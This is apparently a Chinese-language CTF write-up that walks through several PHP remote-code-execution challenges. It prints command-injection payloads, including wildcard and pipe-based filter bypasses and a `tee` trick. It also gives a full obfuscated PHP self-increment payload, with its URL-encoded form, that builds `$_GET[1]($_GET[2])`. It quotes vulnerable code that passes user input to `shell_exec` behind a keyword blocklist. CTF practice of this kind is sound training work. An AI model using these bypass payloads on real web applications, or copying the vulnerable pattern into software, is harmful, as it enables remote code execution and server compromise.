[SWPUCTF 2022 新生赛]ez_rce
进入靶机什么都没有,查下爬虫目录
访问看看
到这里就不会做了,两个超链接都是跳转到正常的网页,源代码也没看到什么
看wp让搜搜ThinkPHP v5
然后就是根据这个文章复现漏洞
然后payload还打不上去
太拉了,还费我15个币
RceME
执行代码不能超过5字符
根目录中找到flag
因为不能超过5字符,用通配符绕过
传入payload ?com=nl /*
Ping
过滤了;
但还可以用管道符执行命令
baby rce
extract($_GET);会将get传参获取的键值对提取为变量
所以可以用param1[]=1来给param1赋值
然后我们就可以将变量token变为true从而传入payload执行TYctf类中的getKey对象
所以构造如下payload
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){return($cmd);}else{die("i hate this"); }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
这里会对传入的参数正则匹配,过滤了;和&,但可以用|
cat没顾虑,空格也没过滤,尝试用管道符连接tee命令
传入payload
?cmd=ls | tee 1.txt
想要读取根目录的flag可以用通配符,也可用""或者变量拼接绕过
[HNCTF 2022 Week1]Challenge__rce
过滤了百分号和^,取反和异或八成是没戏了
那就只有构造自增了
$_=[] //构造名为_的空数组
要通过一定的方法,使$_返回Array,一般用$_="$_"
wp的方法,用数组变量名拼接一个空字符,变成字符串类型 --> $_=$_.''
然后获取第一个字符A,再自增拼接成POST字符串,传参执行命令
$_=$_['@'=='&'] //'@'=='&'是错误的,返回0
但是这里没有禁用数字
正常情况下是一次一次自增,直到构成POST,但这显然会超过150的payload限制
所以我们可以拼接成CHr,CH来源于自增,r来源于Array
然后就可以输入数字构造传参了
$_=[]._;
$__=$_[1];
$_=$_[0];
$_++;
$_1=++$_;
$_++;
$_++;
$_++;
$_++;
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接
$$_[1]($$_[2]);
最后构成$_GET[1](_GET[2])
然后url编码后传入
%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B